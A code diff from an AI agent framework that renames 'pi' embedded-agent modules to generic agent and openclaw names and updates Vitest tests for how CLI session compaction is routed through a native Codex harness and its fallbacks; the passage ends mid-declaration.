a/src/agents/command/attempt-execution.ts b/src/agents/command/attempt-execution.ts index aeff99033e3..19fed9250b4 100644 --- a/src/agents/command/attempt-execution.ts +++ b/src/agents/command/attempt-execution.ts @@ -1,4 +1,3 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; import { formatAcpErrorChain } from "../../acp/runtime/errors.js"; import type { AcpRuntimeEvent } from "../../acp/runtime/types.js"; import { normalizeReplyPayload } from "../../auto-reply/reply/normalize-reply.js"; @@ -27,14 +26,15 @@ import { ensureAuthProfileStore } from "../auth-profiles/store.js"; import { resolveBootstrapWarningSignaturesSeen } from "../bootstrap-budget.js"; import { runCliAgent } from "../cli-runner.js"; import { getCliSessionBinding, setCliSessionBinding } from "../cli-session.js"; +import { runEmbeddedAgent, type EmbeddedAgentRunResult } from "../embedded-agent.js"; import { FailoverError } from "../failover-error.js"; import { runAgentHarnessBeforeMessageWriteHook } from "../harness/hook-helpers.js"; import { resolveAvailableAgentHarnessPolicy } from "../harness/selection.js"; import { resolveCliRuntimeExecutionProvider } from "../model-runtime-aliases.js"; import { isCliProvider } from "../model-selection.js"; -import { resolveOpenAIRuntimeProviderForPi } from "../openai-codex-routing.js"; -import { runEmbeddedPiAgent, type EmbeddedPiRunResult } from "../pi-embedded.js"; +import { resolveOpenAIRuntimeProvider } from "../openai-codex-routing.js"; import { buildAgentRuntimeAuthPlan } from "../runtime-plan/auth.js"; +import type { AgentMessage } from "../runtime/index.js"; import { acquireSessionWriteLock, resolveSessionWriteLockOptions } from "../session-write-lock.js"; import { buildWorkspaceSkillSnapshot } from "../skills.js"; import { buildUsageWithNoCost } from "../stream-message-shared.js"; @@ -295,7 +295,7 @@ async function persistTextTurnTranscript( return sessionEntry; } -function resolveCliTranscriptReplyText(result: EmbeddedPiRunResult): string { +function resolveCliTranscriptReplyText(result: EmbeddedAgentRunResult): string { const visibleText = result.meta.finalAssistantVisibleText?.trim(); if (visibleText) { return visibleText; @@ -340,7 +340,7 @@ export async function persistCliTurnTranscript(params: { body: string; transcriptBody?: string; userMessage?: PersistedUserTurnMessage; - result: EmbeddedPiRunResult; + result: EmbeddedAgentRunResult; sessionId: string; sessionKey: string; sessionEntry: SessionEntry | undefined; @@ -444,7 +444,7 @@ export function runAgentAttempt(params: { ); const bootstrapPromptWarningSignature = bootstrapPromptWarningSignaturesSeen[bootstrapPromptWarningSignaturesSeen.length - 1]; - const requestedAgentHarnessId = isRawModelRun ? "pi" : undefined; + const requestedAgentHarnessId = isRawModelRun ? "openclaw" : undefined; const cliExecutionProvider = isRawModelRun ? params.providerOverride : (resolveCliRuntimeExecutionProvider({ @@ -455,7 +455,7 @@ export function runAgentAttempt(params: { authProfileId: params.sessionEntry?.authProfileOverride, }) ?? params.providerOverride); const agentHarnessPolicy = isRawModelRun - ? ({ runtime: "pi" } as const) + ? ({ runtime: "openclaw" } as const) : resolveAvailableAgentHarnessPolicy({ provider: params.providerOverride, modelId: params.modelOverride, @@ -487,7 +487,7 @@ export function runAgentAttempt(params: { allowHarnessAuthProfileForwarding: !isCliProvider(cliExecutionProvider, params.cfg), }); const authProfileId = runtimeAuthPlan.forwardedAuthProfileId; - const embeddedPiProvider = resolveOpenAIRuntimeProviderForPi({ + const embeddedAgentProvider = resolveOpenAIRuntimeProvider({ provider: params.providerOverride, harnessRuntime: agentHarnessPolicy.runtime, agentHarnessId: requestedAgentHarnessId, @@ -496,10 +496,10 @@ export function runAgentAttempt(params: { config: params.cfg, workspaceDir: params.workspaceDir, }); - const embeddedPiHarnessOverride = + const embeddedAgentHarnessOverride = requestedAgentHarnessId ?? - (agentHarnessPolicy.runtime === "pi" && embeddedPiProvider !== params.providerOverride - ? "pi" + (agentHarnessPolicy.runtime === "openclaw" && embeddedAgentProvider !== params.providerOverride + ? "openclaw" : undefined); if (!isRawModelRun && isCliProvider(cliExecutionProvider, params.cfg)) { const cliSessionBinding = getCliSessionBinding(params.sessionEntry, cliExecutionProvider); @@ -646,7 +646,7 @@ export function runAgentAttempt(params: { }); } - return runEmbeddedPiAgent({ + return runEmbeddedAgent({ sessionId: params.sessionId, sessionKey: params.sessionKey, agentId: params.sessionAgentId, @@ -668,14 +668,14 @@ export function runAgentAttempt(params: { sessionFile: params.sessionFile, workspaceDir: params.workspaceDir, config: params.cfg, - agentHarnessId: embeddedPiHarnessOverride, - agentHarnessRuntimeOverride: embeddedPiHarnessOverride, + agentHarnessId: embeddedAgentHarnessOverride, + agentHarnessRuntimeOverride: embeddedAgentHarnessOverride, skillsSnapshot: params.skillsSnapshot, prompt: effectivePrompt, images: params.isFallbackRetry ? undefined : params.opts.images, imageOrder: params.isFallbackRetry ? undefined : params.opts.imageOrder, clientTools: params.opts.clientTools, - provider: embeddedPiProvider, + provider: embeddedAgentProvider, model: params.modelOverride, modelFallbacksOverride: params.modelFallbacksOverride, authProfileId, diff --git a/src/agents/command/cli-compaction.test.ts b/src/agents/command/cli-compaction.test.ts index 879c3d555e2..9f80dcd28d5 100644 --- a/src/agents/command/cli-compaction.test.ts +++ b/src/agents/command/cli-compaction.test.ts @@ -1,7 +1,7 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; -import { CURRENT_SESSION_VERSION } from "@earendil-works/pi-coding-agent"; +import { CURRENT_SESSION_VERSION } from "openclaw/plugin-sdk/agent-sessions"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import type { SessionEntry } from "../../config/sessions/types.js"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; @@ -114,7 +114,7 @@ describe("runCliTurnCompactionLifecycle", () => { const maintenance = vi.fn(async () => ({ changed: false, bytesFreed: 0, rewrittenEntries: 0 })); setCliCompactionTestDeps({ resolveContextEngine: async () => buildContextEngine({ compactCalls }), - createPreparedEmbeddedPiSettingsManager: async () => ({ + createPreparedEmbeddedAgentSettingsManager: async () => ({ getCompactionReserveTokens: () => 200, getCompactionKeepRecentTokens: () => 0, applyOverrides: () => {}, @@ -177,7 +177,7 @@ describe("runCliTurnCompactionLifecycle", () => { expect(updatedEntry?.claudeCliSessionId).toBeUndefined(); }); - it("skips OpenClaw automatic CLI compaction for OpenAI Codex runtime sessions", async () => { + it("routes OpenAI Codex harness CLI compaction through native harness compaction", async () => { const sessionKey = "agent:main:codex"; const sessionId = "session-codex"; const sessionFile = path.join(tmpDir, "session-codex.jsonl"); @@ -197,14 +197,15 @@ describe("runCliTurnCompactionLifecycle", () => { await fs.writeFile(storePath, JSON.stringify(sessionStore, null, 2), "utf-8"); const compactCalls: Array[0]> = []; - const resolveContextEngine = vi.fn(async () => buildContextEngine({ compactCalls })); + const contextEngine = buildContextEngine({ compactCalls }); + const resolveContextEngine = vi.fn(async () => contextEngine); const ensureSelectedAgentHarnessPlugin = vi.fn(async () => undefined); const compactAgentHarnessSession = vi.fn(async () => ({ ok: true, compacted: true, result: { tokensBefore: 950, tokensAfter: 100 }, })); - const applyPiAutoCompactionGuard = vi.fn(async () => ({ + const applyAgentAutoCompactionGuard = vi.fn(async () => ({ supported: true, disabled: false, })); @@ -216,7 +217,7 @@ describe("runCliTurnCompactionLifecycle", () => { resolveContextEngine, ensureSelectedAgentHarnessPlugin, maybeCompactAgentHarnessSession: compactAgentHarnessSession as never, - createPreparedEmbeddedPiSettingsManager: async () => ({ + createPreparedEmbeddedAgentSettingsManager: async () => ({ getCompactionReserveTokens: () => 200, getCompactionKeepRecentTokens: () => 0, applyOverrides: () => {}, @@ -231,7 +232,7 @@ describe("runCliTurnCompactionLifecycle", () => { effectiveReserveTokens: 200, }), resolveLiveToolResultMaxChars: () => 20_000, - applyPiAutoCompactionGuard, + applyAgentAutoCompactionGuard, recordCliCompactionInStore, }); @@ -249,72 +250,56 @@ describe("runCliTurnCompactionLifecycle", () => { model: "gpt-5.5", }); - expect(resolveContextEngine).not.toHaveBeenCalled(); - expect(applyPiAutoCompactionGuard).not.toHaveBeenCalled(); - expect(ensureSelectedAgentHarnessPlugin).not.toHaveBeenCalled(); - expect(compactAgentHarnessSession).not.toHaveBeenCalled(); - expect(compactCalls).toHaveLength(0); - expect(recordCliCompactionInStore).not.toHaveBeenCalled(); - expect(updatedEntry).toBe(sessionEntry); - }); - - it("skips OpenClaw automatic CLI compaction when OpenAI resolves to Codex by policy", async () => { - const sessionKey = "agent:main:codex-policy"; - const sessionId = "session-codex-policy"; - const sessionFile = path.join(tmpDir, "session-codex-policy.jsonl"); - const storePath = path.join(tmpDir, "sessions-codex-policy.json"); - await writeSessionFile({ sessionFile, sessionId }); - - const sessionEntry: SessionEntry = { - sessionId, - updatedAt: Date.now(), - sessionFile, - contextTokens: 1_000, - totalTokens: 950, - totalTokensFresh: true, - }; - const sessionStore: Record = { [sessionKey]: sessionEntry }; - await fs.writeFile(storePath, JSON.stringify(sessionStore, null, 2), "utf-8"); - - const openSessionManager = vi.fn(() => { - throw new Error("OpenClaw must not inspect Codex transcripts for automatic compaction"); - }); - const resolveContextEngine = vi.fn(); - const ensureSelectedAgentHarnessPlugin = vi.fn(); - const compactAgentHarnessSession = vi.fn(); - setCliCompactionTestDeps({ - openSessionManager: openSessionManager as never, - resolveContextEngine: resolveContextEngine as never, - ensureSelectedAgentHarnessPlugin: ensureSelectedAgentHarnessPlugin as never, - maybeCompactAgentHarnessSession: compactAgentHarnessSession as never, - }); - - const updatedEntry = await runCliTurnCompactionLifecycle({ - cfg: {} as OpenClawConfig, + expect(resolveContextEngine).toHaveBeenCalledTimes(1); + expect(applyAgentAutoCompactionGuard).toHaveBeenCalledWith( + expect.objectContaining({ + contextEngineInfo: contextEngine.info, + }), + ); + expect(ensureSelectedAgentHarnessPlugin).toHaveBeenCalledWith( + expect.objectContaining({ + provider: "openai", + modelId: "gpt-5.5", + sessionKey, + agentHarnessRuntimeOverride: "codex", + }), + ); + expect(applyAgentAutoCompactionGuard.mock.invocationCallOrder[0] ?? 0).toBeLessThan( + compactAgentHarnessSession.mock.invocationCallOrder[0] ?? 0, + ); + expect(compactAgentHarnessSession).toHaveBeenCalledTimes(1); + const compactAgentHarnessSessionCalls = compactAgentHarnessSession.mock + .calls as unknown as Array<[Record]>; + expect(compactAgentHarnessSessionCalls[0]?.[0]).toMatchObject({ sessionId, sessionKey, - sessionEntry, - sessionStore, - storePath, - sessionAgentId: "main", - workspaceDir: tmpDir, - agentDir: tmpDir, + sessionFile, provider: "openai", model: "gpt-5.5", + contextTokenBudget: 1_000, + currentTokenCount: 950, + contextEngine, + agentHarnessId: "codex", + trigger: "budget", + force: true, }); - - expect(openSessionManager).not.toHaveBeenCalled(); - expect(resolveContextEngine).not.toHaveBeenCalled(); - expect(ensureSelectedAgentHarnessPlugin).not.toHaveBeenCalled(); - expect(compactAgentHarnessSession).not.toHaveBeenCalled(); - expect(updatedEntry).toBe(sessionEntry); + expect(compactCalls).toHaveLength(0); + expect(recordCliCompactionInStore).toHaveBeenCalledTimes(1); + expect(recordCliCompactionInStore).toHaveBeenCalledWith( + expect.objectContaining({ + provider: "openai", + sessionKey, + tokensAfter: 100, + }), + ); + expect(updatedEntry?.compactionCount).toBe(1); }); it("ignores stale native harness ids when the active provider no longer matches", async () => { - const sessionKey = "agent:main:pi-after-codex"; - const sessionId = "session-pi-after-codex"; - const sessionFile = path.join(tmpDir, "session-pi-after-codex.jsonl"); - const storePath = path.join(tmpDir, "sessions-pi-after-codex.json"); + const sessionKey = "agent:main:openclaw-after-codex"; + const sessionId = "session-openclaw-after-codex"; + const sessionFile = path.join(tmpDir, "session-openclaw-after-codex.jsonl"); + const storePath = path.join(tmpDir, "sessions-openclaw-after-codex.json"); await writeSessionFile({ sessionFile, sessionId }); const sessionEntry: SessionEntry = { @@ -334,7 +319,7 @@ describe("runCliTurnCompactionLifecycle", () => { setCliCompactionTestDeps({ resolveContextEngine: async () => buildContextEngine({ compactCalls }), maybeCompactAgentHarnessSession: compactAgentHarnessSession as never, - createPreparedEmbeddedPiSettingsManager: async () => ({ + createPreparedEmbeddedAgentSettingsManager: async () => ({ getCompactionReserveTokens: () => 200, getCompactionKeepRecentTokens: () => 0, applyOverrides: () => {}, @@ -366,7 +351,7 @@ describe("runCliTurnCompactionLifecycle", () => { sessionAgentId: "main", workspaceDir: tmpDir, agentDir: tmpDir, - provider: "pi", + provider: "openclaw", model: "sonnet-4.6", }); @@ -374,6 +359,240 @@ describe("runCliTurnCompactionLifecycle", () => { expect(compactCalls).toHaveLength(1); }); + it("surfaces nonrecoverable native harness CLI compaction failures", async () => { + const sessionKey = "agent:main:codex-native-failure"; + const sessionId = "session-codex-native-failure"; + const sessionFile = path.join(tmpDir, "session-codex-native-failure.jsonl"); + const storePath = path.join(tmpDir, "sessions-codex-native-failure.json"); + await writeSessionFile({ sessionFile, sessionId }); + + const sessionEntry: SessionEntry = { + sessionId, + updatedAt: Date.now(), + sessionFile, + contextTokens: 1_000, + totalTokens: 950, + totalTokensFresh: true, + agentHarnessId: "codex", + }; + const sessionStore: Record = { [sessionKey]: sessionEntry }; + await fs.writeFile(storePath, JSON.stringify(sessionStore, null, 2), "utf-8"); + + const compactCalls: Array[0]> = []; + const ensureSelectedAgentHarnessPlugin = vi.fn(async () => undefined); + const compactAgentHarnessSession = vi.fn(async () => ({ + ok: false, + compacted: false, + reason: "timed out waiting for codex app-server compaction", + })); + const recordCliCompactionInStore = vi.fn(); + setCliCompactionTestDeps({ + resolveContextEngine: async () => buildContextEngine({ compactCalls }), + ensureSelectedAgentHarnessPlugin, + maybeCompactAgentHarnessSession: compactAgentHarnessSession as never, + createPreparedEmbeddedAgentSettingsManager: async () => ({ + getCompactionReserveTokens: () => 200, + getCompactionKeepRecentTokens: () => 0, + applyOverrides: () => {}, + }), + shouldPreemptivelyCompactBeforePrompt: () => ({ + route: "fits", + shouldCompact: false, + estimatedPromptTokens: 600, + promptBudgetBeforeReserve: 800, + overflowTokens: 0, + toolResultReducibleChars: 0, + effectiveReserveTokens: 200, + }), + resolveLiveToolResultMaxChars: () => 20_000, + recordCliCompactionInStore, + }); + + await expect( + runCliTurnCompactionLifecycle({ + cfg: {} as OpenClawConfig, + sessionId, + sessionKey, + sessionEntry, + sessionStore, + storePath, + sessionAgentId: "main", + workspaceDir: tmpDir, + agentDir: tmpDir, + provider: "codex", + model: "gpt-5.5", + }), + ).rejects.toThrow( + "CLI native harness compaction failed for codex/gpt-5.5: timed out waiting for codex app-server compaction", + ); + + expect(compactAgentHarnessSession).toHaveBeenCalledTimes(1); + expect(compactCalls).toHaveLength(0); + expect(recordCliCompactionInStore).not.toHaveBeenCalled(); + }); + + it("does not fall back when native harness compaction returns no result", async () => { + const sessionKey = "agent:main:codex-native-empty"; + const sessionId = "session-codex-native-empty"; + const sessionFile = path.join(tmpDir, "session-codex-native-empty.jsonl"); + const storePath = path.join(tmpDir, "sessions-codex-native-empty.json"); + await writeSessionFile({ sessionFile, sessionId }); + + const sessionEntry: SessionEntry = { + sessionId, + updatedAt: Date.now(), + sessionFile, + contextTokens: 1_000, + totalTokens: 950, + totalTokensFresh: true, + agentHarnessId: "codex", + }; + const sessionStore: Record = { [sessionKey]: sessionEntry }; + await fs.writeFile(storePath, JSON.stringify(sessionStore, null, 2), "utf-8"); + + const compactCalls: Array[0]> = []; + setCliCompactionTestDeps({ + resolveContextEngine: async () => buildContextEngine({ compactCalls }), + ensureSelectedAgentHarnessPlugin: vi.fn(async () => undefined), + maybeCompactAgentHarnessSession: vi.fn(async () => undefined) as never, + createPreparedEmbeddedAgentSettingsManager: async () => ({ + getCompactionReserveTokens: () => 200, + getCompactionKeepRecentTokens: () => 0, + applyOverrides: () => {}, + }), + shouldPreemptivelyCompactBeforePrompt: () => ({ + route: "fits", + shouldCompact: false, + estimatedPromptTokens: 600, + promptBudgetBeforeReserve: 800, + overflowTokens: 0, + toolResultReducibleChars: 0, + effectiveReserveTokens: 200, + }), + resolveLiveToolResultMaxChars: () => 20_000, + }); + + await expect( + runCliTurnCompactionLifecycle({ + cfg: {} as OpenClawConfig, + sessionId, + sessionKey, + sessionEntry, + sessionStore, + storePath, + sessionAgentId: "main", + workspaceDir: tmpDir, + agentDir: tmpDir, + provider: "codex", + model: "gpt-5.5", + }), + ).rejects.toThrow( + "CLI native harness compaction failed for codex/gpt-5.5: native harness compaction did not reduce context", + ); + expect(compactCalls).toHaveLength(0); + }); + + it("passes owning context engines into native harness CLI compaction", async () => { + const sessionKey = "agent:main:codex-owned-engine"; + const sessionId = "session-codex-owned-engine"; + const sessionFile = path.join(tmpDir, "session-codex-owned-engine.jsonl"); + const storePath = path.join(tmpDir, "sessions-codex-owned-engine.json"); + await writeSessionFile({ sessionFile, sessionId }); + + const sessionEntry: SessionEntry = { + sessionId, + updatedAt: Date.now(), + sessionFile, + contextTokens: 1_000, + totalTokens: 950, + totalTokensFresh: true, + agentHarnessId: "codex", + }; + const sessionStore: Record = { [sessionKey]: sessionEntry }; + await fs.writeFile(storePath, JSON.stringify(sessionStore, null, 2), "utf-8"); + + const compactCalls: Array[0]> = []; + const contextEngine = { + ...buildContextEngine({ compactCalls }), + info: { + id: "lossless-claw", + name: "Lossless Claw", + ownsCompaction: true, + }, + } satisfies ContextEngine; + const ensureSelectedAgentHarnessPlugin = vi.fn(async () => undefined); + const compactAgentHarnessSession = vi.fn(async (compactParams) => { + expect(compactParams.contextEngine).toBe(contextEngine); + expect(compactParams.contextEngineRuntimeContext).toMatchObject({ + currentTokenCount: 950, + tokenBudget: 1_000, + trigger: "cli_native_budget", + }); + return { + ok: true, + compacted: true, + result: { + summary: "engine-owned", + firstKeptEntryId: "entry-1", + tokensBefore: 950, + tokensAfter: 42, + sessionId: "session-codex-owned-engine-rotated", + sessionFile: path.join(tmpDir, "session-codex-owned-engine-rotated.jsonl"), + }, + }; + }); + const recordCliCompactionInStore = vi.fn(async () => ({ + ...sessionEntry, + compactionCount: 1, + })); + setCliCompactionTestDeps({ + resolveContextEngine: async () => contextEngine, + ensureSelectedAgentHarnessPlugin, + maybeCompactAgentHarnessSession: compactAgentHarnessSession as never, + createPreparedEmbeddedAgentSettingsManager: async () => ({ + getCompactionReserveTokens: () => 200, + getCompactionKeepRecentTokens: () => 0, + applyOverrides: () => {}, + }), + shouldPreemptivelyCompactBeforePrompt: () => ({ + route: "fits", + shouldCompact: false, + estimatedPromptTokens: 600, + promptBudgetBeforeReserve: 800, + overflowTokens: 0, + toolResultReducibleChars: 0, + effectiveReserveTokens: 200, + }), + resolveLiveToolResultMaxChars: () => 20_000, + recordCliCompactionInStore, + }); + + await runCliTurnCompactionLifecycle({ + cfg: {} as OpenClawConfig, + sessionId, + sessionKey, + sessionEntry, + sessionStore, + storePath, + sessionAgentId: "main", + workspaceDir: tmpDir, + agentDir: tmpDir, + provider: "codex", + model: "gpt-5.5", + }); + + expect(compactAgentHarnessSession).toHaveBeenCalledTimes(1); + expect(recordCliCompactionInStore).toHaveBeenCalledWith( + expect.objectContaining({ + provider: "codex", + sessionKey, + tokensAfter: 42, + newSessionId: "session-codex-owned-engine-rotated", + newSessionFile: path.join(tmpDir, "session-codex-owned-engine-rotated.jsonl"), + }), + ); + }); + it("falls back to context-engine compaction when a pinned harness has no native compactor", async () => { const sessionKey = "agent:main:external-harness"; const sessionId = "session-external-harness"; @@ -410,7 +629,7 @@ describe("runCliTurnCompactionLifecycle", () => { resolveContextEngine: async () => buildContextEngine({ compactCalls }), ensureSelectedAgentHarnessPlugin, maybeCompactAgentHarnessSession: compactAgentHarnessSession as never, - createPreparedEmbeddedPiSettingsManager: async () => ({ + createPreparedEmbeddedAgentSettingsManager: async () => ({ getCompactionReserveTokens: () => 200, getCompactionKeepRecentTokens: () => 0, applyOverrides: () => {}, @@ -456,11 +675,11 @@ describe("runCliTurnCompactionLifecycle", () => { expect(updatedEntry?.compactionCount).toBe(1); }); - it("keeps successful context-engine fallback when post-compaction maintenance fails", async () => { - const sessionKey = "agent:main:external-harness-stale-maintenance"; - const sessionId = "session-external-harness-stale-maintenance"; - const sessionFile = path.join(tmpDir, "session-external-harness-stale-maintenance.jsonl"); - const storePath = path.join(tmpDir, "sessions-external-harness-stale-maintenance.json"); + it("falls back to context-engine compaction when Codex native binding is stale", async () => { + const sessionKey = "agent:main:codex-stale-binding"; + const sessionId = "session-codex-stale-binding"; + const sessionFile = path.join(tmpDir, "session-codex-stale-binding.jsonl"); + const storePath = path.join(tmpDir, "sessions-codex-stale-binding.json"); await writeSessionFile({ sessionFile, sessionId }); const sessionEntry: SessionEntry = { @@ -470,29 +689,31 @@ describe("runCliTurnCompactionLifecycle", () => { contextTokens: 1_000, totalTokens: 950, totalTokensFresh: true, - agentHarnessId: "external-harness", + agentHarnessId: "codex", }; const sessionStore: Record = { [sessionKey]: sessionEntry }; await fs.writeFile(storePath, JSON.stringify(sessionStore, null, 2), "utf-8"); const compactCalls: Array[0]> = []; - const maintenance = vi.fn(async () => { - throw new Error("maintenance rotated stale binding"); - }); + const ensureSelectedAgentHarnessPlugin = vi.fn(async () => undefined); + const compactAgentHarnessSession = vi.fn(async () => ({ + ok: false, + compacted: false, + reason: "thread not found: thread-1", + failure: { + reason: "stale_thread_binding", + }, + })); + const maintenance = vi.fn(async () => ({ changed: false, bytesFreed: 0, rewrittenEntries: 0 })); const recordCliCompactionInStore = vi.fn(async () => ({ ...sessionEntry, compactionCount: 1, })); setCliCompactionTestDeps({ resolveContextEngine: async () => buildContextEngine({ compactCalls }), - ensureSelectedAgentHarnessPlugin: vi.fn(async () => undefined), - maybeCompactAgentHarnessSession: vi.fn(async () => ({ - ok: false, - compacted: false, - reason: "thread not found: thread-1", - failure: { reason: "stale_thread_binding" }, - })) as never, - createPreparedEmbeddedPiSettingsManager: async () => ({ + ensureSelectedAgentHarnessPlugin, + maybeCompactAgentHarnessSession: compactAgentHarnessSession as never, + createPreparedEmbeddedAgentSettingsManager: async () => ({ getCompactionReserveTokens: () => 200, getCompactionKeepRecentTokens: () => 0, applyOverrides: () => {}, @@ -521,14 +742,96 @@ describe("runCliTurnCompactionLifecycle", () => { sessionAgentId: "main", workspaceDir: tmpDir, agentDir: tmpDir, - provider: "external-harness", - model: "model", + provider: "codex", + model: "gpt-5.5", + }); + + expect(compactAgentHarnessSession).toHaveBeenCalledTimes(1); + expect(compactCalls).toHaveLength(1); + expect(maintenance).toHaveBeenCalledTimes(1); + expect(recordCliCompactionInStore).toHaveBeenCalledWith( + expect.objectContaining({ + provider: "codex", + sessionKey, + tokensAfter: undefined, + }), + ); + expect(updatedEntry?.compactionCount).toBe(1); + }); + + it("keeps successful context-engine fallback when post-compaction maintenance fails", async () => { + const sessionKey = "agent:main:codex-stale-maintenance"; + const sessionId = "session-codex-stale-maintenance"; + const sessionFile = path.join(tmpDir, "session-codex-stale-maintenance.jsonl"); + const storePath = path.join(tmpDir, "sessions-codex-stale-maintenance.json"); + await writeSessionFile({ sessionFile, sessionId }); + + const sessionEntry: SessionEntry = { + sessionId, + updatedAt: Date.now(), + sessionFile, + contextTokens: 1_000, + totalTokens: 950, + totalTokensFresh: true, + agentHarnessId: "codex", + }; + const sessionStore: Record = { [sessionKey]: sessionEntry }; + await fs.writeFile(storePath, JSON.stringify(sessionStore, null, 2), "utf-8"); + + const compactCalls: Array[0]> = []; + const maintenance = vi.fn(async () => { + throw new Error("maintenance rotated stale binding"); + }); + const recordCliCompactionInStore = vi.fn(async () => ({ + ...sessionEntry, + compactionCount: 1, + })); + setCliCompactionTestDeps({ + resolveContextEngine: async () => buildContextEngine({ compactCalls }), + ensureSelectedAgentHarnessPlugin: vi.fn(async () => undefined), + maybeCompactAgentHarnessSession: vi.fn(async () => ({ + ok: false, + compacted: false, + reason: "thread not found: thread-1", + failure: { reason: "stale_thread_binding" }, + })) as never, + createPreparedEmbeddedAgentSettingsManager: async () => ({ + getCompactionReserveTokens: () => 200, + getCompactionKeepRecentTokens: () => 0, + applyOverrides: () => {}, + }), + shouldPreemptivelyCompactBeforePrompt: () => ({ + route: "fits", + shouldCompact: false, + estimatedPromptTokens: 600, + promptBudgetBeforeReserve: 800, + overflowTokens: 0, + toolResultReducibleChars: 0, + effectiveReserveTokens: 200, + }), + resolveLiveToolResultMaxChars: () => 20_000, + runContextEngineMaintenance: maintenance, + recordCliCompactionInStore, + }); + + const updatedEntry = await runCliTurnCompactionLifecycle({ + cfg: {} as OpenClawConfig, + sessionId, + sessionKey, + sessionEntry, + sessionStore, + storePath, + sessionAgentId: "main", + workspaceDir: tmpDir, + agentDir: tmpDir, + provider: "codex", + model: "gpt-5.5", }); expect(compactCalls).toHaveLength(1); expect(maintenance).toHaveBeenCalledTimes(1); expect(recordCliCompactionInStore).toHaveBeenCalledWith( - expect.objectContaining({ provider: "external-harness", sessionKey }), + expect.objectContaining({ provider: "codex", sessionKey }), ); expect(updatedEntry?.compactionCount).toBe(1); }); @@ -556,7 +859,7 @@ describe("runCliTurnCompactionLifecycle", () => { calls.push("resolve"); return buildContextEngine({ compactCalls: [] }); }, - createPreparedEmbeddedPiSettingsManager: async () => ({ + createPreparedEmbeddedAgentSettingsManager: async () => ({ getCompactionReserveTokens: () => 200, getCompactionKeepRecentTokens: () => 0, applyOverrides: () => {}, @@ -624,7 +927,7 @@ describe("runCliTurnCompactionLifecycle", () => { return await new Promise(() => {}); }, }), - createPreparedEmbeddedPiSettingsManager: async () => ({ + createPreparedEmbeddedAgentSettingsManager: async () => ({ getCompactionReserveTokens: () => 200, getCompactionKeepRecentTokens: () => 0, applyOverrides: () => {}, diff --git a/src/agents/command/cli-compaction.ts b/src/agents/command/cli-compaction.ts index b9f2b705aa5..c8e7cc98292 100644 --- a/src/agents/command/cli-compaction.ts +++ b/src/agents/command/cli-compaction.ts @@ -1,5 +1,3 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import { SessionManager } from "@earendil-works/pi-coding-agent"; import type { SessionEntry } from "../../config/sessions/types.js"; import type { AgentCompactionMode } from "../../config/types.agent-defaults.js"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; @@ -7,24 +5,27 @@ import { ensureContextEnginesInitialized as ensureContextEnginesInitializedImpl import { resolveContextEngine as resolveContextEngineImpl } from "../../context-engine/registry.js"; import type { ContextEngine } from "../../context-engine/types.js"; import { createSubsystemLogger } from "../../logging/subsystem.js"; -import { resolveAgentHarnessPolicy } from "../harness/policy.js"; -import { ensureSelectedAgentHarnessPlugin as ensureSelectedAgentHarnessPluginImpl } from "../harness/runtime-plugin.js"; -import { maybeCompactAgentHarnessSession as maybeCompactAgentHarnessSessionImpl } from "../harness/selection.js"; -import { buildEmbeddedCompactionRuntimeContext } from "../pi-embedded-runner/compaction-runtime-context.js"; +import { createPreparedEmbeddedAgentSettingsManager as createPreparedEmbeddedAgentSettingsManagerImpl } from "../agent-project-settings.js"; +import { OPENCLAW_AGENT_RUNTIME_ID } from "../agent-runtime-id.js"; +import { normalizeOptionalAgentRuntimeId } from "../agent-runtime-id.js"; +import { + applyAgentAutoCompactionGuard as applyAgentAutoCompactionGuardImpl, + resolveEffectiveCompactionMode, +} from "../agent-settings.js"; +import { buildEmbeddedCompactionRuntimeContext } from "../embedded-agent-runner/compaction-runtime-context.js"; import { compactContextEngineWithSafetyTimeout, compactWithSafetyTimeout, resolveCompactionTimeoutMs, -} from "../pi-embedded-runner/compaction-safety-timeout.js"; -import { runContextEngineMaintenance as runContextEngineMaintenanceImpl } from "../pi-embedded-runner/context-engine-maintenance.js"; -import { shouldPreemptivelyCompactBeforePrompt as shouldPreemptivelyCompactBeforePromptImpl } from "../pi-embedded-runner/run/preemptive-compaction.js"; -import { resolveLiveToolResultMaxChars as resolveLiveToolResultMaxCharsImpl } from "../pi-embedded-runner/tool-result-truncation.js"; -import type { EmbeddedPiCompactResult } from "../pi-embedded-runner/types.js"; -import { createPreparedEmbeddedPiSettingsManager as createPreparedEmbeddedPiSettingsManagerImpl } from "../pi-project-settings.js"; -import { - applyPiAutoCompactionGuard as applyPiAutoCompactionGuardImpl, - resolveEffectiveCompactionMode, -} from "../pi-settings.js"; +} from "../embedded-agent-runner/compaction-safety-timeout.js"; +import { runContextEngineMaintenance as runContextEngineMaintenanceImpl } from "../embedded-agent-runner/context-engine-maintenance.js"; +import { shouldPreemptivelyCompactBeforePrompt as shouldPreemptivelyCompactBeforePromptImpl } from "../embedded-agent-runner/run/preemptive-compaction.js"; +import { resolveLiveToolResultMaxChars as resolveLiveToolResultMaxCharsImpl } from "../embedded-agent-runner/tool-result-truncation.js"; +import type { EmbeddedAgentCompactResult } from "../embedded-agent-runner/types.js"; +import { ensureSelectedAgentHarnessPlugin as ensureSelectedAgentHarnessPluginImpl } from "../harness/runtime-plugin.js"; +import { maybeCompactAgentHarnessSession as maybeCompactAgentHarnessSessionImpl } from "../harness/selection.js"; +import type { AgentMessage } from "../runtime/index.js"; +import { SessionManager } from "../sessions/index.js"; import type { SkillSnapshot } from "../skills.js"; import { recordCliCompactionInStore as recordCliCompactionInStoreImpl } from "./session-store.js"; @@ -44,13 +45,13 @@ type CliCompactionDeps = { openSessionManager: (sessionFile: string) => SessionManagerLike; ensureContextEnginesInitialized: () => void; resolveContextEngine: (cfg: OpenClawConfig) => Promise; - createPreparedEmbeddedPiSettingsManager: (params: { + createPreparedEmbeddedAgentSettingsManager: (params: { cwd: string; agentDir: string; cfg?: OpenClawConfig; contextTokenBudget?: number; }) => SettingsManagerLike | Promise; - applyPiAutoCompactionGuard: (params: { + applyAgentAutoCompactionGuard: (params: { settingsManager: SettingsManagerLike; contextEngineInfo?: ContextEngine["info"]; compactionMode?: AgentCompactionMode; @@ -65,7 +66,7 @@ type CliCompactionDeps = { type NativeHarnessCliCompactionOutcome = { compacted: boolean; - result?: EmbeddedPiCompactResult; + result?: EmbeddedAgentCompactResult; fallbackToContextEngine?: 